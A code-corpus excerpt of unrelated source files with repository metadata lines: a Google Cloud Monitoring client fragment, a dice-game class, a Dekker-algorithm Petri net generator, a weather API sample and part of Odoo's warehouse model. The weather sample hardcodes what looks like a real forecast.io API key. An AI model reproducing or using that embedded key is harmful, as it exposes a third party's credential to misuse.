if "update_notification_channel" not in self._inner_api_calls:
self._inner_api_calls[
"update_notification_channel"
] = google.api_core.gapic_v1.method.wrap_method(
self.transport.update_notification_channel,
default_retry=self._method_configs["UpdateNotificationChannel"].retry,
default_timeout=self._method_configs[
"UpdateNotificationChannel"
].timeout,
client_info=self._client_info,
)
request = notification_service_pb2.UpdateNotificationChannelRequest(
notification_channel=notification_channel, update_mask=update_mask
)
return self._inner_api_calls["update_notification_channel"](
request, retry=retry, timeout=timeout, metadata=metadata
)
def delete_notification_channel(
self,
name,
force=None,
retry=google.api_core.gapic_v1.method.DEFAULT,
timeout=google.api_core.gapic_v1.method.DEFAULT,
metadata=None,
):
"""
Deletes a notification channel.
Example:
>>> from google.cloud import monitoring_v3
>>>
>>> client = monitoring_v3.NotificationChannelServiceClient()
>>>
>>> name = client.notification_channel_path('[PROJECT]', '[NOTIFICATION_CHANNEL]')
>>>
>>> client.delete_notification_channel(name)
Args:
name (str): The channel for which to execute the request. The format is
``projects/[PROJECT_ID]/notificationChannels/[CHANNEL_ID]``.
force (bool): If true, the notification channel will be deleted regardless of its
use in alert policies (the policies will be updated to remove the
channel). If false, channels that are still referenced by an existing
alerting policy will fail to be deleted in a delete operation.
retry (Optional[google.api_core.retry.Retry]): A retry object used
to retry requests. If ``None`` is specified, requests will not
be retried.
timeout (Optional[float]): The amount of time, in seconds, to wait
for the request to complete. Note that if ``retry`` is
specified, the timeout applies to each individual attempt.
metadata (Optional[Sequence[Tuple[str, str]]]): Additional metadata
that is provided to the method.
Raises:
google.api_core.exceptions.GoogleAPICallError: If the request
failed for any reason.
google.api_core.exceptions.RetryError: If the request failed due
to a retryable error and retry attempts failed.
ValueError: If the parameters are invalid.
"""
if metadata is None:
metadata = []
metadata = list(metadata)
# Wrap the transport method to add retry and timeout logic.
if "delete_notification_channel" not in self._inner_api_calls:
self._inner_api_calls[
"delete_notification_channel"
] = google.api_core.gapic_v1.method.wrap_method(
self.transport.delete_notification_channel,
default_retry=self._method_configs["DeleteNotificationChannel"].retry,
default_timeout=self._method_configs[
"DeleteNotificationChannel"
].timeout,
client_info=self._client_info,
)
request = notification_service_pb2.DeleteNotificationChannelRequest(
name=name, force=force
)
self._inner_api_calls["delete_notification_channel"](
request, retry=retry, timeout=timeout, metadata=metadata
)
| dhermes/google-cloud-python | monitoring/google/cloud/monitoring_v3/gapic/notification_channel_service_client.py | Python | apache-2.0 | 35,471 |
# -*- coding: utf-8 *-*
# Copyright (c) 2013 Tisserant Pierre
#
# This file is part of Dragon dice simulator.
#
# Dragon dice simulator is free software: you can redistribute it and/or modify
# it under the terms of the GNU Lesser General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Dragon dice simulator is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU Lesser General Public License for more details.
#
# You should have received a copy of the GNU Lesser General Public License
# along with Dragon dice simulator. If not, see <http://www.gnu.org/licenses/>.
from business.army.roll import Roll
from business.dice.face import Face
class SaveMissileRoll(Roll):
@property
def is_missile_save(self):
return True
@property
def main_icon(self):
return Face.ICON_SAVE
| TheLazyHase/dragon_dice_simulator | business/army/roll/save_missile.py | Python | gpl-3.0 | 1,068 |
#!/usr/bin/env python3
'''
Builds a c-net representing a variant of the Dekker's agorithm on n processses,
with n >= 2. Each process has three states, p0, p1, and p3. p0 is initial.
From there, the process executes 'try' and raises its flag, reaching p1.
In p1, if at least one of the other process has a high flag, it 'withdraw's its
intent and goes back to p0. In p1, it 'enter's the critical section if all
other process' flag is zero. From p3, the process can only 'exit' the critical
section, reseting its flag.
Mutual exclusion and deadlock-freedom is guaranted. Unfair runs are possible.
'''
import sys
import ptnet
def mkproc (i, net, n, flag) :
intent = ptnet.net.Transition ('try/%d' % i)
withdraw = {}
for j in range (n) :
if j == i : continue
withdraw[j] = ptnet.net.Transition ('withdraw/%d/%d' % (i, j))
net.trans.append (withdraw[j])
enter = ptnet.net.Transition ('enter/%d' % i)
exit = ptnet.net.Transition ('exit/%d' % i)
for t in [intent, enter, exit] :
net.trans.append (t)
p0 = ptnet.net.Place ('p0/%d' % i)
p1 = ptnet.net.Place ('p1/%d' % i)
p3 = ptnet.net.Place ('p3/%d' % i)
for p in [p0, p1, p3] :
net.places.append (p)
# p0 is my starting state
net.m0[p0] = 1
# set my flag to 1
intent.pre_add (p0)
intent.pre_add (flag[i, 0])
intent.post_add (flag[i, 1])
intent.post_add (p1)
# if the flag of any other process is 1, set my flag to 0
for j in range (n) :
if j == i : continue
withdraw[j].pre_add (p1)
withdraw[j].pre_add (flag[i, 1])
withdraw[j].post_add (flag[i, 0])
withdraw[j].post_add (p0)
withdraw[j].cont_add (flag[j, 1])
# i can enter the critical section (p3) if all flags are 0 except mine
enter.pre_add (p1)
enter.post_add (p3)
for j in range (n) :
if i != j : enter.cont_add (flag[j, 0])
# i exit the critical section seting my flag to 0
exit.pre_add (p3)
exit.pre_add (flag[i, 1])
exit.post_add (flag[i, 0])
exit.post_add (p0)
def mkdekker (n) :
assert (n >= 2)
net = ptnet.net.Net ()
net.author = 'mkdekker.py'
net.title = 'A variant of the Dekker\'s mutual exclusion algorithm'
net.note = 'Instance with %d process. No turn management, process starvation is possible' % n
# create flags
flag = {}
for i in range (n) :
flag[i, 0] = ptnet.net.Place ('flag=0/%d' % i)
flag[i, 1] = ptnet.net.Place ('flag=1/%d' % i)
net.places.append (flag[i, 0])
net.places.append (flag[i, 1])
net.m0[flag[i, 0]] = 1
for i in range (n) :
mkproc (i, net, n, flag)
#net.make_unsafe ([flag[0, 1], flag[1, 1]])
#net.cont2plain ()
net.write (sys.stdout, 'pep')
# additionally you can activate PNML output at stderr
# net.write (sys.stderr, 'pnml')
if __name__ == '__main__' :
assert (len (sys.argv) == 2)
n = int (sys.argv[1])
mkdekker (n)
# vi:ts=4:sw=4:et:
| cesaro/cunf | scripts/mkdekker.py | Python | gpl-3.0 | 3,018 |
import requests
# Budapest
longitude = 19.05
latitude = 47.53
url_template = 'https://api.forecast.io/forecast/{api}/{lat},{lon}'
apikey = 'e2fd60c047ae3fac95a0618a98a9e5fd'
url = url_template.format(api=apikey, lat=latitude, lon=longitude)
# print url
params_dict = {
'units': 'si'
}
r = requests.get(url, params=params_dict)
if r.ok:
data = r.json()
# import json
# data2 = json.loads(r.text)
# print data == data2
| Pylvax/code | http_client/forecast-sample.py | Python | mit | 445 |
# -*- coding: utf-8 -*-
# Part of Odoo. See LICENSE file for full copyright and licensing details.
import logging
from collections import namedtuple
from odoo import _, api, fields, models
from odoo.exceptions import UserError
_logger = logging.getLogger(__name__)
class Warehouse(models.Model):
_name = "stock.warehouse"
_description = "Warehouse"
_order = 'sequence,id'
_check_company_auto = True
# namedtuple used in helper methods generating values for routes
Routing = namedtuple('Routing', ['from_loc', 'dest_loc', 'picking_type', 'action'])
name = fields.Char('Warehouse', index=True, required=True, default=lambda self: self.env.company.name)
active = fields.Boolean('Active', default=True)
company_id = fields.Many2one(
'res.company', 'Company', default=lambda self: self.env.company,
index=True, readonly=True, required=True,
help='The company is automatically set from your user preferences.')
partner_id = fields.Many2one('res.partner', 'Address', default=lambda self: self.env.company.partner_id, check_company=True)
view_location_id = fields.Many2one(
'stock.location', 'View Location',
domain="[('usage', '=', 'view'), ('company_id', '=', company_id)]",
required=True, check_company=True)
lot_stock_id = fields.Many2one(
'stock.location', 'Location Stock',
domain="[('usage', '=', 'internal'), ('company_id', '=', company_id)]",
required=True, check_company=True)
code = fields.Char('Short Name', required=True, size=5, help="Short name used to identify your warehouse")
route_ids = fields.Many2many(
'stock.location.route', 'stock_route_warehouse', 'warehouse_id', 'route_id',
'Routes',
domain="[('warehouse_selectable', '=', True), '|', ('company_id', '=', False), ('company_id', '=', company_id)]",
help='Defaults routes through the warehouse', check_company=True)
reception_steps = fields.Selection([
('one_step', 'Receive goods directly (1 step)'),
('two_steps', 'Receive goods in input and then stock (2 steps)'),
('three_steps', 'Receive goods in input, then quality and then stock (3 steps)')],
'Incoming Shipments', default='one_step', required=True,
help="Default incoming route to follow")
delivery_steps = fields.Selection([
('ship_only', 'Deliver goods directly (1 step)'),
('pick_ship', 'Send goods in output and then deliver (2 steps)'),
('pick_pack_ship', 'Pack goods, send goods in output and then deliver (3 steps)')],
'Outgoing Shipments', default='ship_only', required=True,
help="Default outgoing route to follow")
wh_input_stock_loc_id = fields.Many2one('stock.location', 'Input Location', check_company=True)
wh_qc_stock_loc_id = fields.Many2one('stock.location', 'Quality Control Location', check_company=True)
wh_output_stock_loc_id = fields.Many2one('stock.location', 'Output Location', check_company=True)
wh_pack_stock_loc_id = fields.Many2one('stock.location', 'Packing Location', check_company=True)
mto_pull_id = fields.Many2one('stock.rule', 'MTO rule')
pick_type_id = fields.Many2one('stock.picking.type', 'Pick Type', check_company=True)
pack_type_id = fields.Many2one('stock.picking.type', 'Pack Type', check_company=True)
out_type_id = fields.Many2one('stock.picking.type', 'Out Type', check_company=True)
in_type_id = fields.Many2one('stock.picking.type', 'In Type', check_company=True)
int_type_id = fields.Many2one('stock.picking.type', 'Internal Type', check_company=True)
crossdock_route_id = fields.Many2one('stock.location.route', 'Crossdock Route', ondelete='restrict')
reception_route_id = fields.Many2one('stock.location.route', 'Receipt Route', ondelete='restrict')
delivery_route_id = fields.Many2one('stock.location.route', 'Delivery Route', ondelete='restrict')
warehouse_count = fields.Integer(compute='_compute_warehouse_count')
resupply_wh_ids = fields.Many2many(
'stock.warehouse', 'stock_wh_resupply_table', 'supplied_wh_id', 'supplier_wh_id',
'Resupply From', help="Routes will be created automatically to resupply this warehouse from the warehouses ticked")
resupply_route_ids = fields.One2many(
'stock.location.route', 'supplied_wh_id', 'Resupply Routes',
help="Routes will be created for these resupply warehouses and you can select them on products and product categories")
show_resupply = fields.Boolean(compute="_compute_show_resupply")
sequence = fields.Integer(default=10,
help="Gives the sequence of this line when displaying the warehouses.")
_sql_constraints = [
('warehouse_name_uniq', 'unique(name, company_id)', 'The name of the warehouse must be unique per company!'),
('warehouse_code_uniq', 'unique(code, company_id)', 'The code of the warehouse must be unique per company!'),
]
@api.depends('name')
def _compute_warehouse_count(self):
for warehouse in self:
warehouse.warehouse_count = self.env['stock.warehouse'].search_count([('id', 'not in', warehouse.ids)])
def _compute_show_resupply(self):
for warehouse in self:
warehouse.show_resupply = warehouse.user_has_groups("stock.group_stock_multi_warehouses") and warehouse.warehouse_count
@api.model
def create(self, vals):
# create view location for warehouse then create all locations
loc_vals = {'name': _(vals.get('code')), 'usage': 'view',
'location_id': self.env.ref('stock.stock_location_locations').id}
if vals.get('company_id'):
loc_vals['company_id'] = vals.get('company_id')
vals['view_location_id'] = self.env['stock.location'].create(loc_vals).id
sub_locations = self._get_locations_values(vals)
for field_name, values in sub_locations.items():
values['location_id'] = vals['view_location_id']
if vals.get('company_id'):
values['company_id'] = vals.get('company_id')
vals[field_name] = self.env['stock.location'].with_context(active_test=False).create(values).id
# actually create WH
warehouse = super(Warehouse, self).create(vals)
# create sequences and operation types
new_vals = warehouse._create_or_update_sequences_and_picking_types()
warehouse.write(new_vals) # TDE FIXME: use super ?
# create routes and push/stock rules
route_vals = warehouse._create_or_update_route()
warehouse.write(route_vals)
# Update global route with specific warehouse rule.
warehouse._create_or_update_global_routes_rules()
# create route selectable on the product to resupply the warehouse from another one
warehouse.create_resupply_routes(warehouse.resupply_wh_ids)
# update partner data if partner assigned
if vals.get('partner_id'):
self._update_partner_data(vals['partner_id'], vals.get('company_id'))
self._check_multiwarehouse_group()
return warehouse
def write(self, vals):
if 'company_id' in vals:
for warehouse in self:
if warehouse.company_id.id != vals['company_id']:
raise UserError(_("Changing the company of this record is forbidden at this point, you should rather archive it and create a new one."))
Route = self.env['stock.location.route']
warehouses = self.with_context(active_test=False)
warehouses._create_missing_locations(vals)
if vals.get('reception_steps'):
warehouses._update_location_reception(vals['reception_steps'])
if vals.get('delivery_steps'):
warehouses._update_location_delivery(vals['delivery_steps'])
if vals.get('reception_steps') or vals.get('delivery_steps'):
warehouses._update_reception_delivery_resupply(vals.get('reception_steps'), vals.get('delivery_steps'))
if vals.get('resupply_wh_ids') and not vals.get('resupply_route_ids'):
new_resupply_whs = self.new({
'resupply_wh_ids': vals['resupply_wh_ids']
}).resupply_wh_ids._origin
old_resupply_whs = {warehouse.id: warehouse.resupply_wh_ids for warehouse in warehouses}
# If another partner assigned
if vals.get('partner_id'):
warehouses._update_partner_data(vals['partner_id'], vals.get('company_id'))
res = super(Warehouse, self).write(vals)
if vals.get('code') or vals.get('name'):
warehouses._update_name_and_code(vals.get('name'), vals.get('code'))
for warehouse in warehouses:
# check if we need to delete and recreate route
depends = [depend for depends in [value.get('depends', []) for value in warehouse._get_routes_values().values()] for depend in depends]
if 'code' in vals or any(depend in vals for depend in depends):
picking_type_vals = warehouse._create_or_update_sequences_and_picking_types()
if picking_type_vals:
warehouse.write(picking_type_vals)
if any(depend in vals for depend in depends):
route_vals = warehouse._create_or_update_route()
if route_vals:
warehouse.write(route_vals)
# Check if a global rule(mto, buy, ...) need to be modify.
# The field that impact those rules are listed in the
# _get_global_route_rules_values method under the key named
# 'depends'.
global_rules = warehouse._get_global_route_rules_values()
depends = [depend for depends in [value.get('depends', []) for value in global_rules.values()] for depend in depends]
if any(rule in vals for rule in global_rules) or\
any(depend in vals for depend in depends):
warehouse._create_or_update_global_routes_rules()
if 'active' in vals:
picking_type_ids = self.env['stock.picking.type'].with_context(active_test=False).search([('warehouse_id', '=', warehouse.id)])
move_ids = self.env['stock.move'].search([
('picking_type_id', 'in', picking_type_ids.ids),
('state', 'not in', ('done', 'cancel')),
])
if move_ids:
raise UserError(_('You still have ongoing operations for picking\
types %s in warehouse %s') %
(', '.join(move_ids.mapped('picking_type_id.name')), warehouse.name))
else:
picking_type_ids.write({'active': vals['active']})
location_ids = self.env['stock.location'].with_context(active_test=False).search([('location_id', 'child_of', warehouse.view_location_id.id)])
picking_type_using_locations = self.env['stock.picking.type'].search([
('default_location_src_id', 'in', location_ids.ids),
('default_location_dest_id', 'in', location_ids.ids),
('id', 'not in', picking_type_ids.ids),
])
if picking_type_using_locations:
raise UserError(_('%s use default source or destination locations\
from warehouse %s that will be archived.') %
(', '.join(picking_type_using_locations.mapped('name')), warehouse.name))
warehouse.view_location_id.write({'active': vals['active']})
rule_ids = self.env['stock.rule'].with_context(active_test=False).search([('warehouse_id', '=', self.id)])
# Only modify route that apply on this warehouse.
route_ids = warehouse.route_ids.filtered(lambda r: len(r.warehouse_ids) == 1).write({'active': vals['active']})
rule_ids.write({'active': vals['active']})
if warehouse.active:
# Catch all warehouse fields that trigger a modfication on
# routes, rules, picking types and locations (e.g the reception
# steps). The purpose is to write on it in order to let the
# write method set the correct field to active or archive.
depends = set([])
for rule_item in warehouse._get_global_route_rules_values().values():
for depend in rule_item.get('depends', []):
depends.add(depend)
for rule_item in warehouse._get_routes_values().values():
for depend in rule_item.get('depends', []):
depends.add(depend)
values = {'resupply_route_ids': [(4, route.id) for route in warehouse.resupply_route_ids]}
for depend in depends:
values.update({depend: warehouse[depend]})
warehouse.write(values)
if vals.get('resupply_wh_ids') and not vals.get('resupply_route_ids'):
for warehouse in warehouses:
to_add = new_resupply_whs - old_resupply_whs[warehouse.id]
to_remove = old_resupply_whs[warehouse.id] - new_resupply_whs
if to_add:
existing_route = Route.search([
('supplied_wh_id', '=', warehouse.id),
('supplier_wh_id', 'in', to_remove.ids),
('active', '=', False)
])
if existing_route:
existing_route.toggle_active()
else:
warehouse.create_resupply_routes(to_add)
if to_remove:
to_disable_route_ids = Route.search([
('supplied_wh_id', '=', warehouse.id),
('supplier_wh_id', 'in', to_remove.ids),
('active', '=', True)
])
to_disable_route_ids.toggle_active()
return res
def unlink(self):
res = super().unlink()
self._check_multiwarehouse_group()
return res
def _check_multiwarehouse_group(self):
cnt_by_company = self.env['stock.warehouse'].sudo().read_group([('active', '=', True)], ['company_id'], groupby=['company_id'])
if cnt_by_company:
max_cnt = max(cnt_by_company, key=lambda k: k['company_id_count'])
group_user = self.env.ref('base.group_user')
group_stock_multi_warehouses = self.env.ref('stock.group_stock_multi_warehouses')
if max_cnt['company_id_count'] <= 1 and group_stock_multi_warehouses in group_user.implied_ids:
group_user.write({'implied_ids': [(3, group_stock_multi_warehouses.id)]})
group_stock_multi_warehouses.write({'users': [(3, user.id) for user in group_user.users]})
if max_cnt['company_id_count'] > 1 and group_stock_multi_warehouses not in group_user.implied_ids:
group_user.write({'implied_ids': [(4, group_stock_multi_warehouses.id), (4, self.env.ref('stock.group_stock_multi_locations').id)]})
@api.model
def _update_partner_data(self, partner_id, company_id):
if not partner_id:
return
ResCompany = self.env['res.company']
if company_id:
transit_loc = ResCompany.browse(company_id).internal_transit_location_id.id
self.env['res.partner'].browse(partner_id).with_company(company_id).write({'property_stock_customer': transit_loc, 'property_stock_supplier': transit_loc})
else:
transit_loc = self.env.company.internal_transit_location_id.id
self.env['res.partner'].browse(partner_id).write({'property_stock_customer': transit_loc, 'property_stock_supplier': transit_loc})
def _create_or_update_sequences_and_picking_types(self):
""" Create or update existing picking types for a warehouse.
Pikcing types are stored on the warehouse in a many2one. If the picking
type exist this method will update it. The update values can be found in
the method _get_picking_type_update_values. If the picking type does not
exist it will be created with a new sequence associated to it.
"""
self.ensure_one()
IrSequenceSudo = self.env['ir.sequence'].sudo()
PickingType = self.env['stock.picking.type']
# choose the next available color for the operation types of this warehouse
all_used_colors = [res['color'] for res in PickingType.search_read([('warehouse_id', '!=', False), ('color', '!=', False)], ['color'], order='color')]
available_colors = [zef for zef in range(0, 12) if zef not in all_used_colors]
color = available_colors[0] if available_colors else 0
warehouse_data = {}
sequence_data = self._get_sequence_values()
# suit for each warehouse: reception, internal, pick, pack, ship
max_sequence = self.env['stock.picking.type'].search_read([('sequence', '!=', False)], ['sequence'], limit=1, order='sequence desc')
max_sequence = max_sequence and max_sequence[0]['sequence'] or 0
data = self._get_picking_type_update_values()
create_data, max_sequence = self._get_picking_type_create_values(max_sequence)
for picking_type, values in data.items():
if self[picking_type]:
self[picking_type].update(values)
else:
data[picking_type].update(create_data[picking_type])
sequence = IrSequenceSudo.create(sequence_data[picking_type])
values.update(warehouse_id=self.id, color=color, sequence_id=sequence.id)
warehouse_data[picking_type] = PickingType.create(values).id
if 'out_type_id' in warehouse_data:
PickingType.browse(warehouse_data['out_type_id']).write({'return_picking_type_id': warehouse_data.get('in_type_id', False)})
if 'in_type_id' in warehouse_data:
PickingType.browse(warehouse_data['in_type_id']).write({'return_picking_type_id': warehouse_data.get('out_type_id', False)})
return warehouse_data
def _create_or_update_global_routes_rules(self):
""" Some rules are not specific to a warehouse(e.g MTO, Buy, ...)
however they contain rule(s) for a specific warehouse. This method will
update the rules contained in global routes in order to make them match
with the wanted reception, delivery,... steps.
"""
for rule_field, rule_details in self._get_global_route_rules_values().items():
values = rule_details.get('update_values', {})
if self[rule_field]:
self[rule_field].write(values)
else:
values.update(rule_details['create_values'])
values.update({'warehouse_id': self.id})
self[rule_field] = self.env['stock.rule'].create(values)
return True
def _find_global_route(self, xml_id, route_name):
""" return a route record set from an xml_id or its name. """
route = self.env.ref(xml_id, raise_if_not_found=False)
if not route:
route = self.env['stock.location.route'].search([('name', 'like', route_name)], limit=1)
if not route:
raise UserError(_('Can\'t find any generic route %s.') % (route_name))
return route
def _get_global_route_rules_values(self):
""" Method used by _create_or_update_global_routes_rules. It's
purpose is to return a dict with this format.
key: The rule contained in a global route that have to be create/update
entry a dict with the following values:
-depends: Field that impact the rule. When a field in depends is
write on the warehouse the rule set as key have to be update.
-create_values: values used in order to create the rule if it does
not exist.
-update_values: values used to update the route when a field in
depends is modify on the warehouse.
"""
# We use 0 since routing are order from stock to cust. If the routing
# order is modify, the mto rule will be wrong.
rule = self.get_rules_dict()[self.id][self.delivery_steps]
rule = [r for r in rule if r.from_loc == self.lot_stock_id][0]
location_id = rule.from_loc
location_dest_id = rule.dest_loc
picking_type_id = rule.picking_type
return {
'mto_pull_id': {
'depends': ['delivery_steps'],
'create_values': {
'active': True,
'procure_method': 'mts_else_mto',
'company_id': self.company_id.id,
'action': 'pull',
'auto': 'manual',
'delay_alert': True,
'route_id': self._find_global_route('stock.route_warehouse0_mto', _('Make To Order')).id
},
'update_values': {
'name': self._format_rulename(location_id, location_dest_id, 'MTO'),
'location_id': location_dest_id.id,
'location_src_id': location_id.id,
'picking_type_id': picking_type_id.id,
}
}
}
def _create_or_update_route(self):
""" Create or update the warehouse's routes.
_get_routes_values method return a dict with:
- route field name (e.g: crossdock_route_id).
- field that trigger an update on the route (key 'depends').
- routing_key used in order to find rules contained in the route.
- create values.
- update values when a field in depends is modified.
- rules default values.
This method do an iteration on each route returned and update/create
them. In order to update the rules contained in the route it will
use the get_rules_dict that return a dict:
- a receptions/delivery,... step value as key (e.g 'pick_ship')
- a list of routing object that represents the rules needed to
fullfil the pupose of the route.
The routing_key from _get_routes_values is match with the get_rules_dict
key in order to create/update the rules in the route
(_find_existing_rule_or_create method is responsible for this part).
"""
# Create routes and active/create their related rules.
routes = []
rules_dict = self.get_rules_dict()
for route_field, route_data in self._get_routes_values().items():
# If the route exists update it
if self[route_field]:
route = self[route_field]
if 'route_update_values' in route_data:
route.write(route_data['route_update_values'])
route.rule_ids.write({'active': False})
# Create the route
else:
if 'route_update_values' in route_data:
route_data['route_create_values'].update(route_data['route_update_values'])
route = self.env['stock.location.route'].create(route_data['route_create_values'])
self[route_field] = route
# Get rules needed for the route
routing_key = route_data.get('routing_key')
rules = rules_dict[self.id][routing_key]
if 'rules_values' in route_data:
route_data['rules_values'].update({'route_id': route.id})
else:
route_data['rules_values'] = {'route_id': route.id}
rules_list = self._get_rule_values(
rules, values=route_data['rules_values'])
# Create/Active rules
self._find_existing_rule_or_create(rules_list)
if route_data['route_create_values'].get('warehouse_selectable', False) or route_data['route_update_values'].get('warehouse_selectable', False):
routes.append(self[route_field])
return {
'route_ids': [(4, route.id) for route in routes],
}
def _get_routes_values(self):
""" Return information in order to update warehouse routes.
- The key is a route field sotred as a Many2one on the warehouse
- This key contains a dict with route values:
- routing_key: a key used in order to match rules from
get_rules_dict function. It would be usefull in order to generate
the route's rules.
- route_create_values: When the Many2one does not exist the route
is created based on values contained in this dict.
- route_update_values: When a field contained in 'depends' key is
modified and the Many2one exist on the warehouse, the route will be
update with the values contained in this dict.
- rules_values: values added to the routing in order to create the
route's rules.
"""
return {
'reception_route_id': {
'routing_key': self.reception_steps,
'depends': ['reception_steps'],
'route_update_values': {
'name': self._format_routename(route_type=self.reception_steps),
'active': self.active,
},
'route_create_values': {
'product_categ_selectable': True,
'warehouse_selectable': True,
'product_selectable': False,
'company_id': self.company_id.id,
'sequence': 9,
},
'rules_values': {
'active': True,
'propagate_cancel': True,
}
},
'delivery_route_id': {
'routing_key': self.delivery_steps,
'depends': ['delivery_steps'],
'route_update_values': {
'name': self._format_routename(route_type=self.delivery_steps),
'active': self.active,
},
'route_create_values': {
'product_categ_selectable': True,
'warehouse_selectable': True,
'product_selectable': False,
'company_id': self.company_id.id,
'sequence': 10,
},
'rules_values': {
'active': True,
}
},
'crossdock_route_id': {
'routing_key': 'crossdock',
'depends': ['delivery_steps', 'reception_steps'],
'route_update_values': {
'name': self._format_routename(route_type='crossdock'),
'active': self.reception_steps != 'one_step' and self.delivery_steps != 'ship_only'
},
'route_create_values': {
'product_selectable': True,
'product_categ_selectable': True,
'active': self.delivery_steps != 'ship_only' and self.reception_steps != 'one_step',
'company_id': self.company_id.id,
'sequence': 20,
},
'rules_values': {
'active': True,
'procure_method': 'make_to_order'
}
}
}
def _get_receive_routes_values(self, installed_depends):
""" Return receive route values with 'procure_method': 'make_to_order'
in order to update warehouse routes.
This function has the same receive route values as _get_routes_values with the addition of
'procure_method': 'make_to_order' to the 'rules_values'. This is expected to be used by
modules that extend stock and add actions that can trigger receive 'make_to_order' rules (i.e.
we don't want any of the generated rules by get_rules_dict to default to 'make_to_stock').
Additionally this is expected to be used in conjunction with _get_receive_rules_dict().
args:
installed_depends - string value of installed (warehouse) boolean to trigger updating of reception route.
"""
return {
'reception_route_id': {
'routing_key': self.reception_steps,
'depends': ['reception_steps', installed_depends],
'route_update_values': {
'name': self._format_routename(route_type=self.reception_steps),
'active': self.active,
},
'route_create_values': {
'product_categ_selectable': True,
'warehouse_selectable': True,
'product_selectable': False,
'company_id': self.company_id.id,
'sequence': 9,
},
'rules_values': {
'active': True,
'propagate_cancel': True,
'procure_method': 'make_to_order',
}
}
}
def _find_existing_rule_or_create(self, rules_list):
""" This method will find existing rules or create new one. """
for rule_vals in rules_list:
existing_rule = self.env['stock.rule'].search([
('picking_type_id', '=', rule_vals['picking_type_id']),
('location_src_id', '=', rule_vals['location_src_id']),
('location_id', '=', rule_vals['location_id']),
('route_id', '=', rule_vals['route_id']),
('action', '=', rule_vals['action']),
('active', '=', False),
])
if not existing_rule:
self.env['stock.rule'].create(rule_vals)
else:
existing_rule.write({'active': True})
def _get_locations_values(self, vals, code=False):
""" Update the warehouse locations. """
def_values = self.default_get(['reception_steps', 'delivery_steps'])
reception_steps = vals.get('reception_steps', def_values['reception_steps'])
delivery_steps = vals.get('delivery_steps', def_values['delivery_steps'])
code = vals.get('code') or code or ''
code = code.replace(' ', '').upper()
company_id = vals.get('company_id', self.default_get(['company_id'])['company_id'])
sub_locations = {
'lot_stock_id': {
'name': _('Stock'),
'active': True,
'usage': 'internal',
'barcode': self._valid_barcode(code + '-STOCK', company_id)
},
'wh_input_stock_loc_id': {
'name': _('Input'),
'active': reception_steps != 'one_step',
'usage': 'internal',
'barcode': self._valid_barcode(code + '-INPUT', company_id)
},
'wh_qc_stock_loc_id': {
'name': _('Quality Control'),
'active': reception_steps == 'three_steps',
'usage': 'internal',
'barcode': self._valid_barcode(code + '-QUALITY', company_id)
},
'wh_output_stock_loc_id': {
'name': _('Output'),
'active': delivery_steps != 'ship_only',
'usage': 'internal',
'barcode': self._valid_barcode(code + '-OUTPUT', company_id)
},
'wh_pack_stock_loc_id': {
'name': _('Packing Zone'),
'active': delivery_steps == 'pick_pack_ship',
'usage': 'internal',
'barcode': self._valid_barcode(code + '-PACKING', company_id)
},
}
return sub_locations
def _valid_barcode(self, barcode, company_id):
location = self.env['stock.location'].with_context(active_test=False).search([
('barcode', '=', barcode),
('company_id', '=', company_id)
])
return not location and barcode
def _create_missing_locations(self, vals):
""" It could happen that the user delete a mandatory location or a
module with new locations was installed after some warehouses creation.
In this case, this function will create missing locations in order to
avoid mistakes during picking types and rules creation.
"""
for warehouse in self:
company_id = vals.get('company_id', warehouse.company_id.id)
sub_locations = warehouse._get_locations_values(dict(vals, company_id=company_id), warehouse.code)
missing_location = {}
for location, location_values in sub_locations.items():
if not warehouse[location] and location not in vals:
location_values['location_id'] = vals.get('view_location_id', warehouse.view_location_id.id)
location_values['company_id'] = company_id
missing_location[location] = self.env['stock.location'].create(location_values).id
if missing_location:
warehouse.write(missing_location)
def create_resupply_routes(self, supplier_warehouses):
Route = self.env['stock.location.route']
Rule = self.env['stock.rule']
input_location, output_location = self._get_input_output_locations(self.reception_steps, self.delivery_steps)
internal_transit_location, external_transit_location = self._get_transit_locations()
for supplier_wh in supplier_warehouses:
transit_location = internal_transit_location if supplier_wh.company_id == self.company_id else external_transit_location
if not transit_location:
continue
transit_location.active = True
output_location = supplier_wh.lot_stock_id if supplier_wh.delivery_steps == 'ship_only' else supplier_wh.wh_output_stock_loc_id
# Create extra MTO rule (only for 'ship only' because in the other cases MTO rules already exists)
if supplier_wh.delivery_steps == 'ship_only':
routing = [self.Routing(output_location, transit_location, supplier_wh.out_type_id, 'pull')]
mto_vals = supplier_wh._get_global_route_rules_values().get('mto_pull_id')
values = mto_vals['create_values']
mto_rule_val = supplier_wh._get_rule_values(routing, values, name_suffix='MTO')
Rule.create(mto_rule_val[0])
inter_wh_route = Route.create(self._get_inter_warehouse_route_values(supplier_wh))
pull_rules_list = supplier_wh._get_supply_pull_rules_values(
[self.Routing(output_location, transit_location, supplier_wh.out_type_id, 'pull')],
values={'route_id': inter_wh_route.id})
pull_rules_list += self._get_supply_pull_rules_values(
[self.Routing(transit_location, input_location, self.in_type_id, 'pull')],
values={'route_id': inter_wh_route.id, 'propagate_warehouse_id': supplier_wh.id})
for pull_rule_vals in pull_rules_list:
Rule.create(pull_rule_vals)
# Routing tools
# ------------------------------------------------------------
def _get_input_output_locations(self, reception_steps, delivery_steps):
return (self.lot_stock_id if reception_steps == 'one_step' else self.wh_input_stock_loc_id,
self.lot_stock_id if delivery_steps == 'ship_only' else self.wh_output_stock_loc_id)
def _get_transit_locations(self):
return self.company_id.internal_transit_location_id, self.env.ref('stock.stock_location_inter_wh', raise_if_not_found=False) or self.env['stock.location']
@api.model
def _get_partner_locations(self):
''' returns a tuple made of the browse record of customer location and the browse record of supplier location'''
Location = self.env['stock.location']
customer_loc = self.env.ref('stock.stock_location_customers', raise_if_not_found=False)
supplier_loc = self.env.ref('stock.stock_location_suppliers', raise_if_not_found=False)
if not customer_loc:
customer_loc = Location.search([('usage', '=', 'customer')], limit=1)
if not supplier_loc:
supplier_loc = Location.search([('usage', '=', 'supplier')], limit=1)
if not customer_loc and not supplier_loc:
raise UserError(_('Can\'t find any customer or supplier location.'))
return customer_loc, supplier_loc
def _get_route_name(self, route_type):
names = {'one_step': _('Receive in 1 step (stock)'), 'two_steps': _('Receive in 2 steps (input + stock)'),
'three_steps': _('Receive in 3 steps (input + quality + stock)'), 'crossdock': _('Cross-Dock'),
'ship_only': _('Deliver in 1 step (ship)'), 'pick_ship': _('Deliver in 2 steps (pick + ship)'),
